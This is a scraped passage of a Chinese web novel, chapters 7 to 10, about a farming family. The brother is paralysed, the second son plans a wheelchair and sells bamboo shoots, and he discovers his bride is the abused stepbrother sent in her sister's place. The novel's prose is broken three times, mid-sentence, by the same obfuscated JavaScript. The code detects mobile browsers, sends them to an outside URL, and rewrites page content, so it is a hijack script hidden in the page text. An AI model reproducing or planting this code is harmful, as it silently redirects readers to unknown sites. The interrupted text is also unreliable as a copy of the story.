祁福面露赞同,轻声附和:“我也是,在哪里都是累赘,我也可以死了。” 沉浸在自己情绪之中的霍泽缓缓抬头,他定睛一看,祁福面色认真,说的不像玩笑话。 霍泽大惊失色,若不是腿动不了怕是要从床上跳起来:“弟妹休要胡说,你好手好脚的怎么如此不珍惜生命?” 祁福歪了歪脑袋,很是不解。 这人真是,他家人那般珍重他他都想死,却不准自己这个没人要的讨嫌鬼去死。 他从来不是家里的宝贝,他是家里的累赘,他才是该死的那一个。 “弟、弟妹,你可不能想不开……”霍泽磕磕绊绊地劝了一句,越想越慌,“秀英!不对!霍洵,霍洵——!!” * 霍洵和郭秀英匆匆赶来,一进门就瞧见霍泽呼吸急促,神色慌乱地坐在床上,祁福面色无辜地站在一旁。 “怎么了?”郭秀英被他那破音的嗓子吓了一跳,见他一副欲言又止的模样,急道,“有啥事你快说啊,要急死我们吗?” 霍泽的嘴张了又合,最后小心翼翼地瞧了祁福一眼,对着郭秀英道:“你带弟妹去吃饭吧,我和二弟说。” 霍洵面上一怔,隐隐约约意识到什么:“大嫂你们先去吃饭,我等会儿就来。” 他给郭秀英使了个眼神,郭秀英满脸茫然地拉着祁福走了。 “大哥,可是祁双与你说了什么?” 霍洵话落,霍泽一副痛心疾首的表情:“弟妹怕是要做傻事!!” 霍洵皱了皱眉:“方才还好端端的,怎么突然想不开?” 霍泽那点儿自怨自艾的情绪早被祁福吓得烟消云散了,深怕自家弟弟新娶的媳妇出事儿,他一时也顾不上丢脸了,如实将自己和祁福的对话复述了一遍,又道出自己的猜测。 “只怕祁家逼着她嫁与你,伤了她的心,让她觉得她爹娘不在意她了,心里钻了死胡同。” 霍洵知道不是这么回事儿。 他想起祁福身上的伤,又想起他说送祁福回家时,祁福脸上的抗拒。 祁旺打人不是一回两回,打成那样,祁家夫妻不可能没有察觉,祁福确实被祁家伤了心,但不是因为他两的亲事。 祁福虽然说了些糊涂话,但没有求死的迹象。倒是霍泽,心里压力太大了,这样下去早晚会出问题。 从霍泽屋里出来,霍洵一直在思索,到底要怎么改变霍泽的心态,至少让他觉得自己不是个事事依赖旁人的废人。 临山县的大夫都为霍泽诊治过,要立刻让他的病好起来确实不现实。安慰的话原身和郭秀英没少说,但对霍泽而言,都只是隔靴搔痒,没有实际用处。 走到灶房门口,看见屋里的几把椅子,霍洵心里一动,忽然有了主意。 ——他可以给霍泽做个轮椅。 轮椅能极大程度地减少身体不便带来的窘迫,有了轮椅,霍泽能自己行动,还能适当帮家里人做点小事。 如此一来,也能减轻他的心理压力。 8. 第 8 章 霍泽被蛇咬后性命垂危,流云镇没有大夫敢收,郭秀英和霍洵带着他去临山县寻医,将城内的医馆都求了一遍,才找到一位有胆量救他的大夫。 那位大夫姓‘夏’,如今霍洵仍在他那儿治病,十天半月便要去他的医馆一回。 夏大夫是从源阳府最有名的大医馆出来的,医术高超不说,人品也高贵。当初若不是他肯担着风险出手,霍泽已经没命了。 可惜霍泽运气不好,好不容易救回一条命来,人却动不了了。 初时还能下床走几步,后来两条腿开始使不上劲儿,渐渐的,就连上半身也开始乏力。 夏大夫说咬他的那条毒蛇激发了他体内原有的病根,两者互相影响,造成了一个让人束手无策的疑难杂症。 现在霍泽的腿已经完全动不了了,肌肉都开始萎缩了,好在上半身勉强还能使得上力。 他不肯让家里人喂饭,还是坚持自己吃。 霍洵想着将轮椅做出来,让他自己能行动,做些力所能及的活计。 一来减轻他的心理压力,不让他觉得自己是个废人;二来试试能不能通过锻炼上肢,延缓肌肉萎缩。 不过原主的记忆里找不到轮椅的信息,不知道这个世界有没有这东西。没有也不妨事,轮椅结构并不复杂,霍洵画出结构图来,找人照着打就是。 明日去镇上卖笋子,正好找个木匠铺问问。 * 霍洵思索着进了灶房,霍苓和霍秋一脸关切地看向他。 他一坐下,霍秋便靠过来小声问:“二叔,方才到底怎么了,爹同你说了什么?” “先吃饭。”郭秀英肃着脸开口,霍秋“哦”了一声,没再问。 晚上还是吃糙米杂粮粥,菜也不错,有鱼头菌子汤、煎鱼块、凉拌水竹笋,还有一碟咸菜。 鱼头炖得软烂,汤熬成了乳白色,菌子吸足了汤汁,一口下去又鲜又醇,唇齿留香;水竹笋撕成长条,在沸水里焯过,拌上油辣子、米醋、香油、蒜末之类的佐料,还有霍苓自己做的花椒油,吃起来又脆又嫩,麻辣爽口,让人欲罢不能…… 即便还揣着心事,他们也快被香迷糊了。 霍秋吃饱了还舍不得放筷子:“要是以后每天都能吃这样的菜就好了。” 霍洵十分赞同。 刚穿来那会儿,他还觉得霍家的饭菜已经很不错了。毕竟末世虽然吃得饱,但食物口味无法保证,霍家吃得俭省,可家里富过,有铁锅,霍苓手艺也好,简简单单炒个野菜都比别人做得好吃。 这两日吃上有鱼有肉的饭菜才知道,家里的食材还是影响霍苓发挥了,这两日的菜才是真正的美味啊! 还是得吃肉! 霍洵想挣钱的心又迫切了几分。 * 吃完饭,趁着祁福去洗碗,郭秀英将霍洵拉到一边:“你大哥同你说了什么?” 她不问,霍洵也要找她说。霍泽这情况,不能瞒着郭秀英。 霍洵将祁福和霍泽的对话复述了一遍,又道:“祁双心理只怕也出了问题,好在她还是惜命的,自己能想开。大哥不同,陡然从家里的顶梁柱变成了一个事事都要依仗别人的‘废人’,前后落差太大,没人能接受。大哥责任心强,心里负担太重,我就怕他认定自己会拖累我们,然后……” 郭秀英的心痛太过明显,最后两个字,霍洵几乎不忍心说出口:“然后……寻死。” 郭秀英胸口剧烈起伏,话还未说出口,眼泪已经夺眶而出。 她用手捂着脸,试图压制情绪:“你大哥不是废人,即便他彻底动不了了,他也是我心里的顶梁柱。” “我知道。”霍洵点头。 在原主的记忆中,郭秀英身世凄楚,当初霍泽执意娶她,才让她脱离泥沼。可以说,霍泽是她的精神支柱。 霍洵无意让郭秀英难受,说清楚现状后立刻提出解决办法:“大嫂,我想让大哥知道,这个家需要他。” 见郭秀英面露疑惑,他解释道:“往后咱们有什么拿不定主意的事不妨与大哥商量,让他知道,即便身体动不了,他也能在别的地方帮助我们。我还想给他打一辆轮椅,让他能自己下床走动,做一些力所能及的家务,减轻他的心里压力,也锻炼一下他身上的肌肉。” 郭秀英有些激动:“‘轮椅’,那是什么?有了这东西,你大哥就能自个儿下地走了?” “不是自己下地走,是坐在轮椅上,通过转动手轮让轮椅移动。只要地面平坦的地方,轮椅都能去。” 郭秀英眼前一亮:“竟有这样的好东西!先前我都不知道,也没瞧见旁人用过,不然早该给你大哥打一辆的!” 轮椅的雏形在华国历史上出现得颇早,但经历了很长一段时间,才演练成给残疾人代步的工具。 寻常百姓用得起,那也是现代社会的事了。 这个世界想必也是如此,郭秀英不知道也不奇怪。 “大嫂可知道镇上的哪个木匠铺的匠人手艺最好?” “东市那边有个叫‘鲁记木匠铺’的,价钱贵些,但木工活儿确实做得好,每年农忙前那一阵,都有人加钱找他打农具呢!你聂三哥原先就在那里学手艺,可惜没学出来。” 霍洵微微颔首:“那行,我明日去镇上卖竹笋,顺便去鲁记问问。不过轮椅做出来之前先别告诉大哥,省得他失望。” 郭秀英连连点头:“好。” 两人商量好,又将霍苓和霍秋叫来,挑能说的与她们也说了一番。 姑侄二人听完心情都有些低落,霍洵温声宽慰:“同你们说这些只是让你们平日多注意大哥,以防万一。他今日被祁双吓了一跳,短时间内都不会做傻事,你们也不必太忧心。” “咱们总是苦大仇深的,大哥见了更不好受。”霍洵看向郭秀英,“大家都轻松些。咱家有地、有井、有牛,条件比村里许多人都强,挣钱的路子多的是,咱们脑子不傻,只要齐心协力,一定能尽快攒够银子给大哥治病。” “是。”郭秀英眼神逐渐坚定,“咱们都打起精神来,你们大哥不会被打倒,这个难关,咱家一定能跨过去。” * 霍洵几人出去后,郭秀英一个人在屋里坐了会儿。 她将霍洵的话翻来覆去地思索了几遍,最后深吸一口气,往她和霍泽屋里走。 “你这人在弟妹面前说什么胡话呢!”郭秀英往床边一坐,嗔怪道,“二弟才想了挣钱的法子,家里都在给他帮忙,眼瞧着日子能好起来了,你倒好,在弟妹面前说那些话!” 霍泽本就担心着,一听这话忙问:“弟妹没事吧?” “弟妹被你勾起了伤心事,晚饭都没吃几口!我和二弟费尽口舌,才将她劝好!眼下是没事了,往后还得好生注意,二弟好不容易将人娶回来,可不能出事!”郭秀英看着他,“你惹的祸,你得负责。你弟弟才成亲,哪儿懂得夫妻之道,你平日里多教教。再者,你自己要给弟妹做好表率。” 郭秋英握住霍泽的手,放柔了声音:“二弟要开始做买卖了,他心里有成算,咱们家会越来越好的。霍家就两个男丁,他在前头闯荡,你得在后头给他坐阵。他到底年轻,总有思虑不周的时候,苓儿和小秋也还小,咱们家不能没有你。” 说到后头,郭秋英眼睛有水光盈出,霍泽反握住她的手拍了拍:“是我不对。” “弟妹是县里的姑娘,家境殷实,我就怕……”霍泽叹了口气,面色羞愧,“就怕她因为我嫌弃咱们家,本想赔个罪,谁知说岔了,竟险些让她想不开!” 他一副心有余悸的表情:“怪我,早知祁家已经不乐意与我们结亲了,弟妹可能不是自愿嫁给二弟的,还哪壶不开提哪壶。” “是啊,”说起‘祁双’,郭秀英面色也有些复杂,“二弟今日找我拿金疮药,说弟妹要用,他不肯细说,我还当、还当是他两昨日行房时不慎伤着了,现在想来,只怕是祁家为了逼弟妹出嫁打了她,难怪她昨日哭呢!” “当初逼着祁家履行婚约,本是想她家有钱,又有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521534|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀才亲戚,往后二弟读书能帮着出钱出力,哪晓得会这样。”郭秀英长叹一声,“人呐,真的不能做一点儿亏心事……” 她话未说完,门口传来一道幽幽的声音:“否则就要偷鸡不成蚀把米。” 霍秋探出个脑袋:“娘,你和二叔早上说的话,我都听见了,二婶的嫁妆只有两身旧衣裳。” “什么好东西都往人家家里送,掏空家底置办聘礼、办了婚宴,结果呢?”她小大人一样,两手一摊,“肉包子打狗,有去无回啦!” 郭秀英和霍泽面面相觑。 半晌,郭秀英瞪了女儿一眼:“你婶婶的事儿,不准再提。她嫁给你二叔,与咱们就是一家人了,不许说伤人心的话,明白吗?” “我晓得!本也不是来说这个的!”霍秋举起手上的干草,“爹,你帮我瞧瞧,草晒成这个程度行不行,咱家的牛怎么好像不爱吃呢,到底没晒好,还是它不喜欢这种草?” 她一副苦恼不已的表情,霍泽立刻被吸引了注意力:“拿来我看看。咱家的牛是有些挑嘴,原先一直是我在照料,你没经验,是会拿不准……” 父女俩对着两把干草聚精会神地研究起来。 郭秀英看着,心头一软,神色也格外柔和。 二弟说得对,她们齐心协力,家里一定会好起来的。 * 吃完晚饭一家人也没闲着。 前院菜地里的莴笋熟了,再长下去会老,得拔回来,要么这几日做了吃,要么做成干菜或坛子菜。 上午从山上挖回来的野菜也是一样。 一家人分工合作,郭秀英拔莴笋,祁福清洗,霍苓削皮切块,霍秋帮着准备腌莴笋要用的配菜。 霍洵则将家里的板车拖出来,收拾明日卖笋要用的东西。 霍泽也被背出来,帮着摘莴笋叶。这活儿轻省,他动作慢些,但不至于在家人面前出丑,心情难得地放松。 莴笋叶可以做梅干菜,腌制好了烧肉、炒蛋都好吃。不加肉,只切碎了加辣椒、蒜末之类的佐菜一起炒,也是一道极下饭的咸菜。 霍洵从府城回来那日,霍苓给他做了个梅干菜蛋炒饭,那滋味他现在还记着。 干了会儿活,霍秋又有些犯馋了,去灶房喝水时瞧了橱柜几眼。 郭秀英进去烧热水时瞧见,面上若有所思,烧好水,她走了几步,又折回来将碗柜打开,将那包着喜饼的油纸包拿了出来。 霍秋压根没指望今天还能吃一块喜饼,都已经回院子里干活儿了,没想到她娘竟然给她拿来了。 “拿着吧。”郭秀英将油纸包递给女儿,“不能你一个人吃,给你婶婶分。” 祁福正老实干活,听到这话呆呆地抬起头来,回过神后赶紧摇头。 就连喜饼也要给他吃?那多不好意思。瞧着一共也没几块,先前霍秋还因为这饼被她娘训了呢! 霍洵则看向一直安静着的霍苓。霍苓也才十五岁,却已经默认家里的零食不属于她了。 “小秋,给你姑姑拿一块。” 霍苓愣了一下,连连摆手:“我不要,留着给小秋和嫂子吃吧。” 郭秀英瞧着几人推来让去,想了想,大步走过去将那油纸包拿了回来:“谁也别推了,还剩六块,大家一人一块。” 说完,她将喜饼拿出来,往每人手里都塞了一块。 这喜饼里头是冬瓜糖馅,外头就是很瓷实的白面饼子,霍洵不爱吃,觉得太甜了。 他拿到手里没多想,就要给霍秋:“我不爱吃这个,给小——” “咳!咳!” 话还没落音,两道咳声猛地一起响起,霍洵转头一看,霍泽和郭秀英都在给他使眼色,两人一个劲儿地朝祁福的方向挤眼睛,眼皮都快挤抽筋了。 不愧是夫妻,果然默契。 霍洵失笑,顺着他两的意思将喜饼递给祁福:“给你吃。” 霍泽松了口气,心里嘀咕,秀英说得没错,他弟弟还是太年轻了,往后他得多看着些。 9. 第 9 章 晚上,霍洵瞧着祁福一脸珍惜地将一块喜饼放到他那口破箱子里。 “留着明日吃吗?” 祁福点了点头:“明日给小秋和苓儿吃。” 霍洵面上一怔:“你也爱吃,怎么不自己吃?” 祁福眼神认真:“本来就不该给我吃的,我吃了一块,已经很过分了。” “……”霍洵无言以对,“祁双,你过来。” 祁福走过来,表情乖巧:“我知道你要说什么,你别担心,我不会寻死的。” 霍洵先前觉得他在自己、赵六指和村里的陌生男人面前会害怕,正证明他爱惜生命,不想死。可眼下看来,也不全然如此。 家里一共才六个人,两个都不想活了,真让人头疼。 霍洵手扶着额头:“生死之外无大事,你的命只有一条,知道吗?” “知道。”祁福毫不犹豫地点头,又小声重复,“我不会自己去死,只要别人不打死我。” 他语气十分诚恳,说完斜着眼睛悄悄看了霍洵两眼,又若无其事地移开。 霍洵看懂了:“……我不会打你,我保证。” 祁福抿了抿唇,心道,那是因为我是‘祁双’。倘若知道我是祁福,你定想打死我。 正这样想着,却见霍洵将竹床上叠放着的一身衣裳递到自己面前:“明日别穿女装了,换成男装。” 祁福瞳孔紧缩,猛地后退一步,险些撞到身旁的椅子。 霍洵扶住他:“去镇上卖笋子穿裙子不方便……” 话说到一半,才发觉祁福神色不对:“你不想穿男装?” 祁福意识到自己想岔了,赶紧摇头:“不是。” 他睫羽飞颤,不知该如何解释。 霍洵深深地看了他一眼:“这两身衣裳是我原先穿过的,已经洗干净了,你若不介意,明日挑一身穿。” 霍泽夫妻俩一致认定,祁福之所以想不开,除了被祁家逼着嫁人,还有与霍洵的夫妻感情没培养出来,在霍家也没有归属感的原因。两人都觉得小夫妻感情好了,祁福就不会动不动想死了。所以让霍洵多陪陪他,明日卖笋子也将他带上。 霍洵虽然没想和祁福做真夫妻,但也希望祁福不要困在过去的痛苦回忆里。 锻炼一下,学着做点小买卖是好事,人有了挣钱的能力,就不会看轻自己了。 所以他拿了衣裳给祁福。 村里的姑娘绝大多数都穿短打,虽是女装,但形制干净利落,看着与男装没多大不同,穿着干活也方便。 祁福不同,他的两身衣裳下半身都是裙子,干活不方便不说,还不合身,都短了点儿。 这两年霍家一直走下坡路,郭秀英几人己经很久没做过新衣裳了,自然也没有旧衣能给她穿,倒是霍洵,因为原主念书,家里紧着他,还是做了几身衣裳的。 有两身是原主他爹娘还在世时做的,已经小了,正好给祁福穿。 “你先试试,看合不合身。” 霍洵的语气不容拒绝,祁福犹豫了一会儿,抱着衣裳去卧房换。 这两身衣裳都是短打,颜色素净。虽然旧了,但一个补丁都没有,颜色不如祁双那两身旧衣鲜亮,但比祁福的任何一身衣裳都要好。 祁福自然不会嫌弃,只是怕他穿上男装,男子的身份会暴露。 换好衣裳走出来,祁福远远地喊霍洵看:“衣裳是合身的。”声音几不可闻。 少年身姿纤瘦,面容白皙俊秀,是有些雌雄莫辨。但怀疑的种子早已萌芽,再看便不难瞧出不对了。 霍洵看着站在卧房门口,只露出半个身子、眼神闪躲的祁福,心里的疑问全部都有了答案。 成亲之日祁家为何闭门不出,见了他为何怕成那样,提起回祁家为何那般抗拒,同胞弟弟下那样的狠手爹娘为何不管……,所有的一切都有了合理的解释。 他没记错的话,祁家除了祁旺,还有个儿子,是祁有德原配所生,只是极少听祁家人提起。 祁家在霍泽和郭秀英面前表现得十分重视祁双,现在看来,或许不是装的。 看重的女儿舍不得嫁,就拿前妻生的儿子来代替,难怪眼前这人在霍泽面前说自己在哪儿都是累赘。 虽然没有百分百的把握,但霍洵几乎已经确认,他娶来的这位,并非祁双,而是她那不受宠的继兄。 只有这样,一切才说得通。 * 霍洵心念飞转,面上却不动声色。 他招手让祁福过来坐下:“穿着还挺像那么回事,你家里也有兄弟,是不是先前穿过男装?” 祁福不会撒谎,想了想点头道:“穿过。” “穿的谁的?”霍洵表情自然,“祁旺与你关系不好,莫不是穿你那位继兄的?” 祁福侧开脸,心虚地“嗯”了一声。 霍洵将他的反应看在眼里,又问:“后日就要同你回门了,还不知你继兄叫什么名字呢?” 听到‘回门’二字,祁福如坐针尖,半晌才用极快的语速吐出两个字:“祁福。” “是福气的福?” “是。”祁福心跳得厉害,一会儿觉得霍洵在试探自己,一会儿又觉得自己想多了。 “好名字。”霍洵扯了扯嘴角。 取名时千挑万选,用寓意最好的字,生下来却弃如敝履,真是讽刺。 真相已浮出水面,但太过突然。 看着眼前忐忑不安,小心打量自己神色的少年,霍洵难得有些犹豫。 若是昨日迎亲之时发现,他定会将人退回去,把霍家的聘礼要回来。三十两银子不是小数目,足够他带霍泽去府城了,虽然不一定能治好霍泽的病。 可祁福身上的种种迹象,无一不在表明,他回到祁家后不会有好下场。 霍洵终于明白,祁福为何会跟霍秋说要下辈子报答霍秋了——他认定自己命不久矣。 虽然这世界男子可婚,但寻常男子若不是家境特别困难,少有自愿给人做契兄弟的,昨日祁福的表现,也不像自愿的。祁家为了逼他替妹出嫁,定然做了什么胁迫他。 他身上的伤,很有可能就是这么来的。 霍洵敛下心里的情绪,淡淡地开口:“你身上的伤还痛吗?” 祁福愣了一下,小声道:“抹了药,已经好多了。” “那就好。”霍洵看着他,“早些睡吧,明日还要去镇上卖笋子。” 祁福松了口气,又看了他一眼,才回卧房。 * 翌日一早,霍洵将两筐水竹笋、半篓毛竹笋搬到板车上,祁福拿着装水的竹筒和霍苓帮他两摊的饼,站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521535|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在边上。 “还放了蛋?”霍洵的目光扫过祁福手里的野葱鸡蛋饼。 “最后两个蛋,猪油也没了。”霍秋幽幽地叹了口气,“二叔,咱家的笋子若是卖不出去,接下来几个月又要拿野菜就粥了,你可一定要多卖些呀!” “做买卖哪有那么容易!”郭秀英推了推女儿的脑袋,又对着霍洵道,“头一回尝试,重要的是积攒经验,去了多看看旁人是怎么卖的,咱们能开张就行!” 说实话,霍家没人做过买卖,对于卖笋子,郭秋英心里实在有些没底。但小叔子为了给她男人治病,放下科举之事想法子挣钱,她只想尽力帮忙,哪能说丧气话? 霍洵笑了笑,也没多说,只道:“放心吧。” 他和祈福驾着牛车,在霍秋念念不舍的目光中出了门。 经过村里时,还带上了两个村民,其中一位是他们隔壁的桂婶。桂婶去镇上卖鸡蛋,另一位姓‘张’的婶子则是去卖自己织的布。 两人结伴往村口走,半路瞧见霍家的牛车,打了声招呼,霍洵一听她两也要去镇上,便将人捎上了。 桂婶身材瘦小,性子却爽利,上了牛车先看祁福:“洵小子,这位小哥是你家的亲戚?原先好像没瞧见过。” 祁福心虚地看霍洵,霍洵面不改色:“是我娘子,今日要去镇上卖笋子,穿男装图个方便。” 张婶啧啧称叹:“嚯!竟是新娘子,难怪这般俊俏!” 桂婶也道:“你二河弟弟先前去县里跑腿,远远瞧见过祁姑娘一回,回来就说祁姑娘容貌出众,与你般配得很,今日一瞧果然不假。” 祁福手上的饼子险些吓掉。 看他垂着脑袋,桂婶还当城里姑娘面皮薄,不好意思,又移开话头:“洵小子,你们带这么多笋子去镇上做什么?” “去卖笋子。” 霍洵话落,两位婶子惊呼出声:“你去卖笋子?” 两人俱是一副不可思议的表情。原主就是个书呆子,霍洵穿来后他在众人心中的形象有些转变,但放下身段去卖笋子,仍是十分让人意外。 大魏朝商人地位低,商户三代之内不准科考。读书人心气高,一般不屑做商贾之事。 霍洵能猜到她们心里的想法,也没多解释,只与她们打探情况。 笋子该去哪儿卖,多少钱一斤,昨日霍泽和郭秀英已经与他说过了。但他两也是听旁人说的,自己没卖过,到底不如时常往镇上跑的桂婶和张婶知道得清楚。 “镇上没那么多规矩,笋子在哪儿都能卖,自个儿挑个人多的地方,只要不挡着人家的门脸、不挡着路就行。要想去专门卖菜的菜市也可以,交十文钱就能进,不过这几日笋子不如前头好卖了。”桂婶叹了口气,“昨日你牛三叔背了一麻袋过来,几乎是原样背回去的。孙二郎他娘子嘴皮子厉害,夫妻两上月每回过来都能卖完,这几日也要背一半回去。” 张婶也道:“笋子就是刚出来那一阵好卖,这时节大伙儿都吃腻味了,咱们镇上拢共也就这么些人……” 话说到一半,她想到霍洵也是来卖笋子的,人家还没开张自己就说这些,不是触人家霉头吗?赶忙换了副说辞。 “前些日子吃腻了,这一阵兴许又开始回味了,咱们镇上人不多,但还有个码头,还有外头的人来呢!” 10. 第 10 章 牛车走了半个时辰,才到镇上。 流云镇不大,但因为有个码头,在附近的几个镇子中算富裕的。 张婶要去布庄,与他们不同路,一到镇上便下了车,霍洵跟着桂婶去她平日里卖鸡蛋的地方。 这条街是通往菜市的必经之路,路边摊贩云集,卖吃食、卖菜、卖日用小物件的都有。 桂婶说卖笋子没必要花十文钱进菜市,在这找个地儿卖就行,这条街人多,村里卖笋子的人也多是选这里。 霍洵想着先在这儿试试,不行再换地方。 一到地方,便听到了零星的吆喝声。 霍洵他们来得早,但总有人更早,同村的牛三叔摊子都摆好了。 桂婶说他为了省坐牛车的钱,都是走来的,笋子少时自己背,多时用独轮车推。 来的路上并未遇见他,只怕天还黑着就出发了。 牛三叔的摊子摆在菜市左侧的路边,霍洵在菜市右侧那条街寻了个位置,将竹笋卸下。 祁福要帮着搬,被他轻轻推开:“小心扯着身上的伤。” 祁福看着他抿了抿唇,转身将板凳和秤还有棕叶拿下来。 带皮的水竹笋一斤能炒一盘,来买菜的人多是买一顿的,一斤正好。霍洵昨日在后山折了几片棕叶,下午将棕叶撕成条状来捆水竹笋,一斤一份。 村民们卖菜多是这样卖,不是每户人家都有秤,还是这样方便。 不过霍家有秤,霍洵还是带上了。一来万一客人不放心,可以再复秤给人看;二来,他还有毛竹笋,毛竹笋个头大,不适合一斤一份的方式。 * 地上铺了两个麻袋,一捆一捆的水竹笋摆在上面,毛竹笋和未捆好的水竹笋放在旁边的箩筐里。 旁人的水竹笋不论大小,只论斤两,一捆里头有大有小。霍洵的却不同,他分了三种,一种全部是细嫩的小笋,一种全是是粗长的大笋,还有一种有大有小夹杂着,同别人的一样。 三种笋子按着长短依次摆放,看着格外整齐。 这会儿来买菜的人还不多,霍洵将摊子摆好,让祁福看着,自己迅速将整条街都逛了一遍。 卖笋子的人还真不少,菜市入口有两条道,光他们所在的这一条就有三个摊子,除了霍洵这个,这条街的入口处和菜市入口处各有一个竹笋摊,水竹笋、毛竹笋都卖。 能抢到这么好的位置,不是镇上的人,就是镇子附近的村民。 霍洵没抢到好位置,也不气馁。他学了几句叫卖的话,又自个儿编了编,回到摊子上见人就吆喝: “卖笋子啰!水竹笋三文一斤,毛竹笋一文一斤!新鲜的春笋,大的小的老的嫩的都有,随您挑选!” 一个挎着篮子的老太太本都在路口那个竹笋摊子边停住了,听到吆喝声,朝霍洵这儿瞧了一眼,立刻走了过来。 “你这水竹笋摆得倒是齐整。” 同样的价钱,谁都愿意买整齐干净的。 霍洵含笑招呼:“您瞧瞧,大笋小笋都有,看您喜欢什么口味的,若是拿不准,就拿两种都有的。” 老太太蹲下身打量摊子上的竹笋:“都是一斤一捆?” “是,只多不少。”霍洵指了指旁边的秤,“若是怕斤两不够,可以再称给您瞧。” 老太太拎着一捆小水竹笋掂了掂:“那倒不用,就是价钱贵了,你再便宜些吧?” 霍洵笑了笑:“不能便宜了,大家都卖这个价,就挣点辛苦钱。不过我瞧您面善,又是今日第一位客人,您若是买两捆,我再送您一根。” 春笋出来这么久了,什么行情常来买菜的老太太怎会不清楚,不过总是要问一嘴,能捡着便宜更好。 一听霍洵说两捆能送一根,她有些心动。两斤也不多,笋子焯水后晾干,明日再吃也不会坏。 “那行,就买两捆,不过送的那根得我自己选。” 她抻着脖子看框里没捆的水竹笋,一眼就瞄中了一根大的,这一根得有二两。 霍洵早有预料,爽快地应声:“行,您自己拿。” 老太太脸上露出个笑,精挑细选挑出两捆小水竹笋,又将她瞧中的那根大水竹笋从竹筐里拿出来,一齐放到自己篮子里,才数了六个铜板给霍洵。 * 老太太走后,霍洵将铜板扔到祁福抱着的木匣子里,一扭头,装着水的竹筒已递到眼前,再一看,两捆新的水竹笋已经捆好,同卖出的两捆一样,都是小竹笋。 霍洵心里一动,不得不说,祁家人虽然恶心,‘嫁’给他的这个却是真乖巧。 霍洵喝了口水,将祁福捆好的两捆水竹笋摆好,继续叫卖。 不过这会儿还早着,买菜的人少,好半晌才又卖出一捆。 又过了一会儿,村里的孙二郎夫妻背着笋子匆匆过来。 这两人是坐村里的牛车来的,虽然来得晚,但提前占了位置,就在霍洵斜对面的猪肉铺前头。应当是与猪肉铺的东家说好的,略挡了点人家的铺面也没被赶走。 他们的摊子支起来后,街上的人流渐渐多起来,小摊贩们的叫卖声越发响亮。 霍洵也扬声吆喝。 他和祁福都生了一副好相貌,摊子上的竹笋卖相也好,买笋人只要瞧见,几乎都会往这儿走。 不管是不是诚心买,只要来了人,霍洵都含笑招呼:“水竹笋三文一斤,毛竹笋一文一斤,各位随意挑选!” 围着摊子的挑选笋子的人多了,又能引来新的客人。 “难怪都来这买,你这儿的笋子是比别人的好些!前头那个,都快长成竹子的也拔来卖,不长一口铁齿铜牙,都吃不了他家的笋子!”说话的妇人拿起一捆小笋打量了几眼,露出一个满意的笑容,“这可好,都不用自个儿一根根挑了!” 也有人嫌小的肉少,专门挑大些的:“这样的才好呢,不老不嫩,笋肉还多!做笋丁、凉拌、炖肉都好吃!” 人一多,笋子就卖得快了,不一会儿便卖出二十来斤。 对面的孙二郎看得眼睛都直了。 “欸,那不是咱的老主顾吗?”他用胳膊肘推了推他娘子,“前头每回都来咱这儿买,还喜欢同你唠嗑的,怎么也去霍二郎那儿了!” 孙二郎表情郁闷:“霍二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521536|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎书念得好好的,咋跑出来跟咱们抢生意了?” “想攒钱给他哥哥治病吧,前日喜宴上就说了。”孙二郎娘子看了几眼,“我瞧他们的笋子是按大小分开捆的,要么咱也试试?” “咱都捆好了还拆开?那多费劲。” “做买卖还嫌麻烦,那你别眼红人家生意好!” * 霍洵不知孙二郎夫妻因为他在拌嘴,他在剥笋子。 方才有个妇人买了三斤,嫌拿着太沉,就地剥了起来。祁福默默地帮着她剥了一会儿,她连声道谢。 “多谢,多谢!这东西剥起来费劲得很,若不是你帮忙,我得剥好一会儿呢!” 霍洵看在眼里,又有了主意。 笋子好吃,剥皮却是个麻烦事儿,若是剥了皮来卖,定然有人愿意买。 不过剥了皮的笋子重量几乎要折去一半,若还按三文钱一斤卖,太吃亏了。可若价钱也翻倍,买笋子的人又该嫌贵了。 价钱贵了愿意买的人势必会变少,若是不能及时卖出去,剥好的笋子颜色就不鲜亮了,到时候更不好卖。 霍洵合计了一下,决定剥十斤出来,卖五文一斤,嫌贵的人可以继续买没剥的。 其实这样费力气还不如全卖带皮的挣得多,但早上那波买菜的离开后,竹笋便卖得慢了,今日带过来的一百斤水竹笋,还剩六十斤。 不换着卖,只怕卖不完。 霍洵思索了一会儿,还是决定试试。 他从竹筐里搬出一摞水竹笋,对着祁福道:“咱们剥些出来,卖五文一斤。” 祁福十分听话,拿起笋子就开始剥。 水竹笋确实难剥,尤其是对霍洵这种没怎么干过细活儿的‘大老粗’,一层一层的皮实在考验耐心,他剥一根的时间够祁福剥两根。 